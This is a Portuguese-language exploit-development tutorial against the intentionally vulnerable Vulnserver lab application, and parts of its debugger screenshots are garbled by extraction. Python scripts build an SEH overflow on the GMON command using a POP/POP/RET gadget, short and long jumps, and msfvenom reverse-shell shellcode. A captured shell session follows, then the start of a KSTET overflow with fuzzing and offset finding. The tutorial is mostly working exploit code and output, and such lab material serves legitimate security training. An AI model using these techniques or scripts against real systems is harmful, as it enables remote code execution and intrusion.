| C 0 ES 002B 32bit 0(FFFFFFF)<br>P 1 CS 0023 32bit 0(FFFFFFF)<br>A 0 SS 0023 32bit 0(FFFFFFF)<br>Z 1 DS 002B 32bit 0(FFFFFFF)<br>S 0 FS 0053 32bit 35000(FFF)<br>T 0 GS 002B 32bit 0(FFFFFFF)<br>D 0<br>0 LastErr ERROR_SUCCESS (000000000)   | )      |      |       |
| EFL 00010246 <no.nb.e.be.ns.pe.ge.le< td=""><td>&gt;</td><td></td><td></td></no.nb.e.be.ns.pe.ge.le<>  | >      |      |       |
| SID empty g<br>SI1 empty g<br>SI2 empty g<br>SI3 empty g<br>SI4 empty g<br>SI5 empty g<br>SI6 empty g<br>SI7 empty g<br>SI7 empty g  | ) Z D  | т    |       |
| FSI 0000 Cond 0.0 0 Err 0 0 0 0  | 000    | Ô <  | GT >  |
| FCW 027F Prec NEAR,53 Mask 1 1 1   | . 1 1  | 1    |       |
| Address Hex dump ASCII ACCIDENT A 0007EC20 772C8782 Sc. W RETURN to not  | 111.77 | 2C87 | A2 🔺  |
| 00403000 FF FF FF FF 00 40 00 00 .e         00D7EC24 00D7ED20 *           00403008 70 2E 40 00 00 00 00 00 p.e         00D7EC2 80D7FEC2             00403010 FF FF FF FF 00 00 00 00         00D7EC2 80D7FEC2             00403015 FF FF FF FF 00 00 00 00         00D7EC2 80D7EC2 80D7FEC2             00403015 FF FF FF FF 00 00 00 00         00D7EC2 80D7EC2 80D7EC2 | AAAAA  | AAAA | AAAAI |

Como sobrescrevemos o endereço do SEH e do nSEH, conseguimos sobrescrever o endereço EIP dentro da corrente, e isto nos dá controle sobre a execução do programa.

Precisamos encontrar o offset para sobrescrever os endereços SEH, utilizaremos o msfpatter\_create.



Vamos atualizar em nosso script e reenviar para o programa após reiniciá-lo no Immunity.



Sobrescrevemos o endereço do nSEH com os bytes 45336f45, vamos encontrar o offset exato com o msf-pattern\_offset.

| \$ msf-pattern_ | offset -l 10007 -q 45336f45 |
|-----------------|-----------------------------|
| [*] Exact matc  | h at offset 3549            |

Temos o offset de 3549 para atingir o endereço de EIP. Vamos atualizar o nosso script e testar com o Immunity.

xplgmon.py:

```
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"B" * 4
payload += b"C" * (offset - 3549 - 4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload ... ")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```





Como podemos ver, o SEH foi preenchido pelos nossos "C" ao inves dos "B", mas ele está tentando fazer um salto para os "B", pois ao não encontrar a regra de excessão no SEH, ele tenta pular para o nSEH.

Ótimo, conseguimos sobrescrever os endereços, isso nos aproxima de ter controle sobre a execução.

Normalmente como fizemos nos comandos anteriores, agora iriamos encontrar um bom endereço de retorno para nosso ESP, mas vamos analisar a stack da corrente do SEH.



Nós caímos 8 bytes antes do nosso buffer, o que significa que ser fizermos um JMP ESP, vamos cair num espaço da memória do qual não temos controle.

Precisamos encontrar uma forma de retirar estes 8 bytes da stack antes do JMP ESP para podermos cair exatamente em nosso buffer.

### ESTRUTURA LIFO

A stack da arquitetura x86 segue o padrão LIFO (Last In First Out) onde o ultimo item a entrar na stack é o primeiro a sair. Cada vez que fazemos um PUSH na memória, nós adicionamos exatamente 4 bytes à stack decrementando o apontador, ou seja, em cada PUSH em ESP o apontador ESP recebe um valor -4, em contrapartida, quando fazemos um POP na stack, adicionamos 4 bytes no apontador.

Como nosso buffer está 8 bytes acima de onde caímos, precisamos adicionar 8 bytes à stack, conseguimos isso encontrando um endereço que contenha um POP/POP/RET.

POP <qualquer registrador 32 bytes> POP <qualquer registrador 32 bytes> RET

Onde, o primeiro POP vai retirar o primeiro endereço da stack, adicionando 4 bytes ao endereço, e o segundo POP vai adicionar mais 4. O RET vai pegar o primeiro endereço da stack e adicioná-lo ao EIP, e assim executamos exatamente nosso buffer.

Podemos encontrar o endereço POP/POP/RET com o proprio Immunity utilizando o plugin mona com o comando !mona seh -cp nonull -cm safeseh=off.

| 08ADF000<br>62501084<br>62501728<br>62501728<br>62501208<br>62501107<br>625011BF<br>625011F3<br>625011E3<br>625011E3<br>625011E4<br>625011E5<br>62501108 | [+] Results :<br>0x625010b4<br>0x6250172b<br>0x6250195e<br>0x6250120b<br>0x625011df<br>0x625011df<br>0x625011df<br>0x625011e3<br>0x6250169<br>0x625011e4<br>0x625011cb<br>0x625011cb | pop     pop | ebx #<br>edi #<br>edi #<br>ebx #<br>ebx #<br>ebx #<br>ecx #<br>ecx #<br>ecx #<br>ecx #<br>ecx # | pop<br>pop<br>pop<br>pop<br>pop<br>pop<br>pop<br>pop<br>pop<br>pop |                           | ******** | ret<br>ret<br>ret<br>ret<br>ret<br>ret<br>ret<br>ret<br>ret<br>ret |     | (PA<br>asci<br>asci<br>(PA<br>(PA<br>(PA<br>(PA<br>(PA<br>(PA<br>(PA<br>(PA |
|--|--|---|---|--|---------------------------|----------|--|-----|---|
| 625011CB<br>625011B3<br>0BADF00D<br>0BADF00D<br>0BADF00D<br>0BADF00D   | 0x625011cb<br>0x625011b3<br>Found a t<br>[+] This mona   | : pop<br>: pop<br>otal (  | ebp #<br>eax #<br>of 12   | pop<br>point<br>took   | ebp<br>eax<br>ers<br>0:00 | #        | ret<br>ret   | 000 | (PA<br>(PA  |
| !mona seh -cp nonull -cm safeseh=off   |  |   |   |  |                           |          |  |     |   |

Onde "-cp nonull" omite endereços com caracteres nulos, "-cm safeseh=off" omite endereços compilados com SafeSEH.

Encontramos 12 endereços de POP/POP/RET utilizáveis, no meu caso utilizarei o 6250120b.

Vamos atualizar nosso script, e inserir o endereço encontrado no lugar de nossos "C", lembrando que os bytes tem que ir na ordem inversa pois utilizam little indiam.

xplgmon.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| ip = "192.168.1.30"<br>porta = 9999  |
| offset = 10007   |
| payload = b"GMON ./"<br>payload += b"A" * 3549<br>payload += b"B" * 4<br>payload += b"\x0b\x12\x50\x62"<br>payload += b"D" * (offset - 3549 - 4 - 4) |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))<br>s.recv(1024)   |
| print("Enviando payload")  |
| s.send(payload + b"\r\n")<br>s.close()<br>print("Payload enviado.")  |

Vamos iniciar o vulnserver, inserir um breakpoint exatamente em nosso POP/POP/RET e rodar nosso script.

| 62513208 | 59            | POP ECX                                |
|----------|---------------|--|
| 6250120C | 59            | POP ECX                                |
| 6250120D | C3            | RETN                                   |
| 6250120E | 5D            | POP EBP                                |
| 6250120F | C3            | RETN                                   |
| 62501210 | 55            | PUSH EBP                               |
| 62501211 | 89E5          | MOU EBP, ESP                           |
| 62501213 | 81EC A8000000 | SUB ESP, ØA8                           |
| 62501219 | 8B45 Ø8       | MOU EAX, DWORD P                       |
| 6250121C | 894424 04     | MOU DWORD PTR S                        |
| 62501220 | 8D85 68FFFFFF | LEA EAX, DWORD P                       |
| 62501226 | 890424        | MOU DWORD PTR S                        |
| 62501229 | E8 7A070000   | CALL <jmp.&msvci< th=""></jmp.&msvci<> |
| 6250122E | C9            | LEAUE                                  |
| 6250122F | C3            | RETN                                   |

Caímos exatamente em nosso POP/POP/RET, se avançarmos, vamos cair na stack com um buffer.



Porém, vamos analisar o buffer em que caímos:

|                 | 44 X   | ▶ II | <b>▶ + ≥ ↓ + →</b> 1 € |
|-----------------|--------|------|------------------------|
| <b>00C0FFCA</b> | 41     |      | INC ECX                |
| ØØCØFFCB        | 41     |      | INC ECX                |
| ØØCØFFCC        | 42     |      | INC EDX                |
| ØØCØFFCD        | 42     |      | INC EDX                |
| ØØCØFFCE        | 42     |      | INC EDX                |
| ØØCØFFCF        | 42     |      | INC EDX                |
| ØØCØFFDØ        | ØB12   |      | OR EDX. DWORD PT1      |
| ØØCØFFD2        | 50     |      | PUSH EAX               |
| 00C0FFD3        | 624444 | 44   | BOUND EAX. QUORD       |
| 00C0FFD7        | 44     |      | INC ESP                |
| 00C0FFD8        | 44     |      | INC ESP                |
| ØØCØFFD9        | 44     |      | INC ESP                |
| ØØCØFFDA        | 44     |      | INC ESP                |
| ØØCØFFDB        | 44     |      | INC ESP                |
| MACAFFDC        | 44     |      | INC ESP                |

Caímos exatamente em cima dos nossos "B", o problema é que só temos 4 bytes de "B" e logo em seguida temos o endereço do nosso POP/POP/RET novamente, impossível aproveitar 4 bytes para um shellcode. Também não podemos fazer um salto para o buffer de "A", pois seria um salto longo, que ocupa 5 bytes.

Mas se analizarmos, logo após nosso POP/POP/RET temos o buffer dos "D", seria um salto curto, e um salto curto felizmente tem o tamanho de 2 bytes.

Fazendo a matemática, temos que saltar 8 bytes para atingir o buffer (4 bytes de "B" + 4 bytes do POP/POP/RET). Vamos calcular o opcode do salto de 8 bytes para nosso buffer utilizando o msf-nasm\_shell.

\$ msf-nasm\_shell nasm > JMP short 10 00000000 EB08 jmp short 0xa

Por que eu calculei um salto de 10 bytes ao inves dos 8 que precisamos? Porque o JMP vai calcular o salto incluindo incluindo o tamanho da instrução JMP que por sua vez tem 2 bytes.

Precisamos inserir o salto no lugar dos nossos "B" pois quando o POP/POP/RET cair nesse endereço, saltará para nossos buffers de "D".

xplgmon.py:

```
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto
payload += b"\x0b\x12\x50\x62"
payload += b"D" * (offset - 3549 - 4 - 4)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload ... ")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

Analisando no Immunity, vemos que logo apos o POP/POP/RET caímos no jump.

| ØØC7FFCC        | EB 08     | JMP SHORT 00C7F   |
|-----------------|-----------|-------------------|
| 00C7FFCE        | 90        | NOP               |
| 00C7FFCF        | 90        | NOP               |
| 00C7FFD0        | ØB12      | OR EDX, DWORD PTI |
| 00C7FFD2        | 50        | PUSH EAX          |
| 00C7FFD3        | 624444 44 | BOUND EAX, QWORD  |
| 00C7FFD7        | 44        | INC ESP           |
| 00C7FFD8        | 44        | INC ESP           |
| 00C7FFD9        | 44        | INC ESP           |
| 00C7FFDA        | 44        | INC ESP           |
| 00C7FFDB        | 44        | INC ESP           |
| ØØC7FFDC        | 44        | INC ESP           |
| 00C7FFDD        | 44        | INC ESP           |
| 00C7FFDE        | 44        | INC ESP           |
| <b>MACZEEDE</b> | 44        | INC ESP           |

Se avançarmos mais um passo, caímos no buffer dos "D" (44).

| Contraction of the second s |    |         |          |
|---|----|---------|----------|
| ØØC7FFD6  | 44 | INC ESP | ~        |
| 00C7FFD7  | 44 | INC ESP | <u> </u> |
| 00C7FFD8  | 44 | INC ESP |          |
| 00C7FFD9  | 44 | INC ESP |          |
| 00C7FFDA  | 44 | INC ESP |          |
| 00C7FFDB  | 44 | INC ESP |          |
| ØØC7FFDC  | 44 | INC ESP |          |
| 00C7FFDD  | 44 | INC ESP |          |
| 00C7FFDE  | 44 | INC ESP |          |
| 00C7FFDF  | 44 | INC ESP |          |
| 00C7FFE0  | 44 | INC ESP |          |
| 00C7FFE1  | 44 | INC ESP |          |
| 00C7FFE2  | 44 | INC ESP |          |
| 00C7FFE3  | 44 | INC ESP |          |
| <b>ИИС7FFE4</b>   | 44 | INC ESP | ~        |

E constatamos o total controle na execução do programa. Mas ainda temos outro problema para resolver: o buffer de "D" tem apenas 41 bytes de espaço, mas este tipo de problema, já resolvemos no comando GTER, e vamos fazer exatamente igual.

#### PULANDO DE VOLTA PARA O BUFFER INICIAL

Desta vez, precisamos de 5 bytes para fazer um log jump back, e temos 41, está fácil. Consultando a distancia com msf-nasm\_shell, precisamos de um salto de 3557 bytes (3549 bytes de "A" + 4 bytes do POP/POP/RET + 4 bytes do short jump).

\$ msf-nasm\_shell nasm > JMP \$-3557 00000000 E916F2FFFF jmp 0xfffff21b

Temos a distância e916f2ffff, vamos atualizar o script.

xplgmon.py:

```
#!/usr/bin/python3
import socket
ip = "192.168.1.30"
porta = 9999
offset = 10007
payload = b"GMON ./"
payload += b"A" * 3549
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto curto
payload += b"x0bx12x50x62"
payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xff\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5)
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

Analisando no Immunity:

|          | •• | × 🕨 | 11 14 | 세 위 : | <b>↓ → →</b> | leı  |
|----------|----|-----|-------|-------|--------------|------|
| 00C9F1F1 | 41 |     |       | INC   | ECX          | ^    |
| 00C9F1F2 | 41 |     |       | INC   | ECX          |      |
| 00C9F1F3 | 41 |     |       | INC   | ECX          |      |
| 00C9F1F4 | 41 |     |       | INC   | ECX          |      |
| 00C9F1F5 | 41 |     |       | INC   | ECX          |      |
| 00C9F1F6 | 41 |     |       | INC   | ECX          |      |
| 00C9F1F7 | 41 |     |       | INC   | ECX          |      |
| 00C9F1F8 | 41 |     |       | INC   | ECX          | 1000 |
| 00C9F1F9 | 41 |     |       | INC   | ECX          |      |
| 00°9F1FA | 41 |     |       | INC   | ECX          |      |
| 00C9F1FB | 41 |     |       | INC   | ECX          |      |
| 00C9F1FC | 41 |     |       | INC   | ECX          |      |
| 00C9F1FD | 41 |     |       | INC   | ECX          |      |
| 00C9F1FE | 41 |     |       | INC   | ECX          |      |
| AAC9F1FF | 41 |     |       | INC   | FCX          | ~    |

Caímos exatamente em cima do nosso buffer de "A", agora temos 3549 bytes para explorarmos da forma que quisermos.

Antes de tudo, precisamos gerar nosso reverse shell com msfvenom e organizar nosso script.

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# offset para buffer overflow
offset = 10007
# msfvenom -p windows/shell reverse tcp lhost=192.168.1.17 lport=8443 -b '\x00' -v
shellcode -f py
shellcode = b""
shellcode += b"\xbd\x0a\xb3\xad\x9f\xd9\xcd\xd9\x74\x24\xf4"
shellcode += b"\xd9\xfb\x46\xd8\x72\x6e\x68\x4f\x72\xbb"
# pavload
payload = b"GMON ./" # comando inicial
payload += b"\x90" +10 # padding para o shellcode
payload += shellcode # enviando shellcode para o primeiro buffer
payload += b"A" * (3549 - len(shellcode) - 10) # complementando o buffer com "A"
payload += b"\xeb\x08" # salto curto
payload += b"\x90\x90" # padding para o salto curto
payload += b"\x0b\x12\x50\x62" # POP/POP/RET
payload += b"\x90\x90" # padding para o salto longo
payload += b"\xe9\x16\xf2\xff\xff" # salto longo
payload += b"D" * (offset - 3549 - 4 - 4 - 5) # complemento do buffer com "D"
# conexao
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# envio do payload
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
```

Vamos setar um netcat para ouvir a porta 8443, iniciar o vulnserver fora do immunity e testar o script.

```
-(hastur@hastur)-[~/Desktop]
└$ nc -vlnp 8443
listening on [any] 8443 ...
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.32] 50978
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.
C:\Users\suite\Desktop>cd \
cd \
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 2247-E2A2
 Directory of C:\
08/11/2021 04:31 AM
                        <DIR>
                                       nasm
12/07/2019 02:14 AM
                        <DIR>
                                       PerfLogs
08/11/2021 04:29 AM
                        <DIR>
                                       Program Files
08/11/2021 04:30 AM
                                       Program Files (x86)
                        <DIR>
08/11/2021
           04:30 AM
                                       Python27
                        <DIR>
08/11/2021
           04:27 AM
                                       Users
                        <DIR>
08/11/2021
           04:26 AM
                       <DIR>
                                       Windows
              0 File(s)
                                      0 bytes
               7 Dir(s) 31,976,726,528 bytes free
C:\>whoami
whoami
desktop-50ci2k5\suite
C:\>
```

E conseguimos nosso reverse shell.

Neste comando, fuzemos a exploração de overflow de SEH e realiamos vários saltos na memória conhecendo um pouco mais a fundo sua estrutura.

Nos próximos comandos vamos experimentar novas complexidades.

### COMANDO KSTET

O comando KSTET, assim como os demais, recebe um argumento e dá uma resposta. Neste comando temos um problema de espaço muito menor que os demais. Precisaremos pensar fora da caixa, portanto iremos explorar outa tecnica de exploração de buffer overflow.

### FUZZING

Vamos reaproveitar nosso primeiro script de fuzzing, adaptando para o envio do comando KSTET.

fuzzing.py:

```
#!/usr/bin/python3
import socket
from time import sleep
import sys
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
payload = b"KSTET " # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes
while True:
  try:
    s = socket.socket(socket.AF INET, socket.SOCK STREAM)
    s.connect((ip,porta))
    s.send(payload + b"\r\n")
    s.recv(1024)
    s.close()
    sleep(1)
    payload = payload + b"A"*100
  except:
    print("Buffer estourado em %s bytes"%(str(len(payload))))
    sys.exit()
```

Ao rodar nosso script, temos o retorno da quantidade de bytes para estouro de buffer.



Temos um offset de 206 bytes para causarmos o crash, vamos esboçar nosso script e testar com o vulnserver no Immunity Debugger.

xplkstet.py:

| #!/usr/bin/python3  |
|---|
| import socket   |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999   |
| # variaveis de payload<br>offset = 206  |
| # payload<br>payload = b"KSTET "<br>payload += b"A" * offset  |
| # criando conexao<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))<br>s.recv(1024) |
| # enviando payload<br>print("Enviando payload")   |
| s.send(payload + b"\r\n")<br>s.close()  |
| print("Payload enviado.")   |

| 4 Immunity Debugger - vulnservere - [CPU - thread   | 00000E18]        | – Ø ×  |
|---|------------------|--|
| C File View Debug Plugins ImmLib Option   | Window Help Jobs | _ & >  |
| >>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>  | lemtwhcPkbzrs    | ? Immunity: Consulting Services Manager  |
|   |                  | ∧ Registers (FPU) < < <  |
|   |                  | E6X       006E6P978       ASCI1 4B, "STET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  |
|   |                  | SI3 empty g<br>SI5 empty g<br>SI5 empty g  |
| Address Hex dumn ASC  | T                | ∧ 00E6F9C8 41414141 AAAA   |
| 094433040         PF         PF         PF         PF         09         46         60         60         60         00   |                  | 00E6F9CC         1111111         AAAA           00E6F9D4         111111         AAAA           00E6F9D4         A111111         AAAA           00E6F9D6         A111111         AAAA           00E6F9D7         ABABABA         %%%           00E6F9E0         BABABABA         %%%           00E6F9E1         BOB00000            00E6F9E2         000000000            00E6F9E4         FEEFFEE         FEE           00E6F9E5         000000000            00E6F9E4         000000000            00E6F9E4         000000000            00E6F9E4         0000000000            00E6F9E4         000000000            00E6F9E4         000000000            00E6F9E4         000000000            00E6F9F4         000000000            00E6F9F76         000000000 |
| 08403068         080         08 |                  | 00557A00 00000000<br>00557A04 0057000<br>00557A08 4007000<br>00557A08 40000000<br>00557A10 00000000<br>00557A10 00000000<br>00557A14 0057118 140. ASCII 4B,"STET AAAAAAAAAAA<br>00557A18 00000000<br>00557A18 00000000<br>00557A18 00000000  |
|   |                  |  |
| Trace over (Ctrl+F12)   |                  | Paused   |

Conseguimos sobrescrever o endereço de EIP, isso é ótimo, mas vamos seguir o dump hexa após o envio do KSTET.

| Address | He         | c di | ւտք       |    |    |    |           |    |    |               |               |               |    |    |           |    | ASCII                     | R  |
|---------|------------|------|-----------|----|----|----|-----------|----|----|---------------|---------------|---------------|----|----|-----------|----|---------------------------|----|
| \$ ==>  | <b>4</b> B | 53   | 54        | 45 | 54 | 20 | 41        | 41 | 41 | 41            | 41            | 41            | 41 | 41 | 41        | 41 | KSTET AAAAAAAA            | 1  |
| \$+10   | 41         | 41   | 41        | 41 | 41 | 41 | 41        | 41 | 41 | 41            | 41            | 41            | 41 | 41 | 41        | 41 | AAAAAAAAAAAAAAAAA         | 1  |
| \$+20   | 41         | 41   | 41        | 41 | 41 | 41 | 41        | 41 | 41 | 41            | 41            | 41            | 41 | 41 | 41        | 41 | AAAAAAAAAAAAAAAAA         | 1  |
| \$+30   | 41         | 41   | 41        | 41 | 41 | 41 | 41        | 41 | 41 | 41            | 41            | 41            | 41 | 41 | 41        | 41 | AAAAAAAAAAAAAAAAA         | 1  |
| \$+40   | 41         | 41   | 41        | 41 | 41 | 41 | 41        | 41 | 41 | 41            | 41            | 41            | 41 | 41 | 41        | 41 | AAAAAAAAAAAAAAAAA         | 2  |
| \$+50   | 41         | 41   | 41        | 41 | 41 | 41 | 41        | 41 | 41 | 41            | 41            | 41            | 41 | 41 | 41        | 41 | AAAAAAAAAAAAAAAAA         | 1  |
| \$+60   | 41         | 41   | 41        | 41 | AB | AB | AB        | ΑB | ΑB | ΑB            | AB            | AB            | EE | FE | EE        | FE | AAAA <i>%%%%%%%%%</i> %€∎ |    |
| \$+70   | 00         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 00 | 00 | 00        | 00 |                           |    |
| \$+80   | 00         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 00 | 00 | 6F        | 00 |                           | 5  |
| \$+90   | 6A         | 00   | 00        | 40 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 18 | 11 | 6F        | 00 | .j0                       | 5  |
| \$+A0   | 00         | 00   | 00        | 00 | 00 | 00 | 97        | 00 | 62 | 00            | 00            | 40            | 00 | 00 | 00        | 00 | ù.b0                      |    |
| \$+B0   | 00         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 00 | 00 | 97        | 00 |                           | Č. |
| \$+CØ   | 62         | 00   | 00        | 40 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 00 | 00 | 00        | 00 | ь                         |    |
| \$+D0   | 00         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 00 | 00 | 00        | 00 |                           |    |
| \$+E0   | 00         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 00 | 00            | 00            | 00            | 00 | 00 | 00        | 00 |                           |    |
| \$+F0   | 00         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 10 | AD            | 10            | 77            | BA | CØ | 97        | A9 |                           | ł. |
| \$+100  | FE         | FF   | FF        | FF | 10 | FB | <b>E6</b> | 00 | DC | 6D            | ØD            | 77            | 00 | FC | <b>E6</b> | 00 | ∎ ►√μm.w."                | Į. |
| \$+110  | 10         | AD   | 10        | 77 | BA | CØ | 97        | A9 | FE | $\mathbf{FF}$ | $\mathbf{FF}$ | $\mathbf{FF}$ | 28 | FB | <b>E6</b> | 00 | իձիտ∥Կար∎ Հմ              | t. |
| \$+120  | DC         | 6D   | ØD        | 77 | 44 | 00 | 00        | 00 | 50 | 00            | 00            | 00            | 00 | 00 | 00        | 00 | ■m.wDP                    |    |
| \$+130  | F8         | FA   | <b>E6</b> | 00 | 10 | 00 | 00        | 00 | 00 | 00            | 97            | 00            | 28 | 00 | 00        | 00 | <sup>o</sup> ·μ.▶ù.<.     |    |
| \$+140  | 30         | 00   | 00        | 00 | 00 | 00 | 00        | 00 | 10 | FB            | <b>E6</b>     | 00            | 11 | 00 | 00        | 00 | 0▶√µ.∢.                   |    |

Nós enviamos 206 "A" com nosso script, porém o buffer tem um espaço de 0x63, ou seja 99 bytes incluindo o comando KSTET.

Fazer saltos para o inicio do buffer não adiantaria, pois independente de onde cairmos, não teremos espaço para o shellcode. Fazer reuso do socket da forma que fizemos anteriormente também não funcionaria, pois mesmo diminuindo muito o tamanho, nosso shellcode ficou com pouco mais de 140 bytes.

Precisamos pensar fora da caixa, porém vamos seguir o plano e encontrar o offset para atingir o EIP como fizemos nos demais. Vamos criar a string com o msf-patter\_create.

\$ msf-pattern\_create -I 206 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac 2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae 5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag

Após atualizar nosso script, vamos medir o comportamento com o Immunity:

|  | mmunity. Con   | sulling Services Mana   | ger   |             |
|--|--|---|---|-------------|
| Reg  | isters (F  | PU>   |   | < <         |
| EAX<br>ECX<br>EDX<br>EBX<br>ESP<br>ESP<br>ESI<br>EDI | 00C4F978<br>0063118C<br>00000000<br>00000104<br>00C4F9C8<br>41326341<br>00401848<br>00401848 | ASCII 4B, "STE<br>vulnserv.0040<br>vulnserv.0040  | T Aa0Aa1Aa2Aa<br>1848<br>1848                               | 3Aa4Aa5Aa6A |
| EIP<br>C 0<br>P 1<br>A 0<br>Z 1<br>S 0<br>D 0<br>O   | 63413363<br>ES 002B<br>CS 0023<br>SS 002B<br>DS 002B<br>FS 0053<br>GS 002B<br>LastErr        | 32bit Ø(FFFFF<br>32bit Ø(FFFFF<br>32bit Ø(FFFFF<br>32bit Ø(FFFFF<br>32bit 2CA000(<br>32bit Ø(FFFFF<br>ERROR_SUCCESS | FFF><br>FFF><br>FFF><br>FFF><br>FFF><br>FFF><br>FFF><br>FFF |             |
| EFL<br>STØ<br>ST1<br>ST2<br>ST3<br>ST4<br>ST5        | 00010246<br>empty g<br>empty g<br>empty g<br>empty g<br>empty g                              | <no,nb,e,be,n< th=""><th>S,PE,GE,LE&gt;</th><th></th></no,nb,e,be,n<>   | S,PE,GE,LE>   |             |

Atingimos o EIP em 63413363, vamos consultar no msf-pattern offset.

\$ msf-pattern\_offset -I 206 -q 63413363 [\*] Exact match at offset 70

Temos um offset de 70 bytes para atingir o EIP, vamos atualizar nosso script e tesstar.

xplkstet.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999  |
| # variaveis de payload<br>offset = 206   |
| <pre># payload<br/>payload = b"KSTET "<br/>payload += b"A"*70<br/>payload += b"B" * (offset - 70)<br/># criando conexao<br/>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br/>s.connect((ip,porta))<br/>s.recv(1024)</pre> |
| # enviando payload<br>print("Enviando payload")  |
| s.send(payload + b"\r\n")<br>s.close()   |
| print("Payload enviado.")  |

Se o offset estiver correto, nosso EIP será preenchido com os "B".

| 4 Immunity Debugger - vulns ver.exe - [CPU - thread 000  | 010C0]  |                    |   | - 0 ×             |
|--|---|--------------------|---|-------------------|
| <u>C</u> <u>File View Debug Plugins ImmLib Options W</u> | <u>V</u> indow <u>H</u> elp <u>J</u> obs              |                    |   | _ & ×             |
| >>>> □ 3>> □ 1   | emtwhc  | pkbzrs             | ? Immunity: Consulting Services Manager   |                   |
|  |   | ^                  | Registers (FPU)   | < < <             |
|  |   |                    | EAR         00C7P978         ASCII 4B, "STET         AAAAAAAAA           ECX         000104         EBX         00000104           EBX         00000104         EBF         414141           EBI         60401848         vulnserv.00401848           EDI         00401848         vulnserv.00401848           EDI         00401848         vulnserv.00401848           EIP         42424242         C         0           C         0         ES         0020           T         D         00401848         Vulnserv.00401848           EIP         42424242         C         0           C         0         ES         00203           Z         D         00203         32bit         0(FFFFFFFF)           A         0         S         00203         32bit         0(FFFFFFFF)           S         0         FS         00203         32bit         0(FFFFFFFFFF)           S         0         FS         00213         32bit         0(FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF  | ,                 |
|  |   |                    | EFL 00010246 <no,nb,e,be,ns,pe,ge,le< td=""><td></td></no,nb,e,be,ns,pe,ge,le<>   |                   |
|  |   | ~                  | ST0 empty g<br>ST1 empty g<br>ST2 empty g<br>ST3 empty g<br>ST4 empty g<br>ST5 empty g<br>ST5 empty g<br>ST6 empty g  |                   |
| Address Hex dump   |   | ASCII              | 00C7F9C8 42424242 BBBB  | ^                 |
| $\begin{array}{cccccccccccccccccccccccccccccccccccc$     | $ \begin{array}{cccccccccccccccccccccccccccccccccccc$ | .ep.e              | 00C7F9CC 42424242 BBBB<br>00C7F9C4 42424242 BBBB<br>00C7F9D4 42424242 BBBB<br>00C7F9D4 42424242 BBBB<br>00C7F9C4 42424242 BBBB<br>00C7F9E6 ABABABB 22222<br>00C7F9E6 ABABABB 22222<br>00C7F9E6 00000000<br>00C7F9F6 00000000<br>00C7F9F6 00000000<br>00C7F9F6 00000000<br>00C7F9F6 00000000<br>00C7F9F6 00000000<br>00C7F400 0000000<br>00C7F400 0000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F418 00000000<br>00C7F414 000F440000<br>00C7F414 000F4400000<br>00C7F414 000F440000<br>00C7F414 000F440000<br>00C7F414 000F4400000<br>00C7F414 000F4400000<br>00C7F414 000F4400000<br>00C7F415 000F4400000<br>00C7F415 000F4400000<br>00C7F415 000F44000000<br>00C7F415 000F44000000<br>00C7F415 000F4400000000000000000000000000000000 | 3T AAAAAAAAAA<br> |
|  |   |                    |   | •                 |
| [20:53:10] Access violation when executi                 | ing [42424242] -                                      | use Shift+F7/F8/F9 | 9 to pass exception to program  | Paused            |

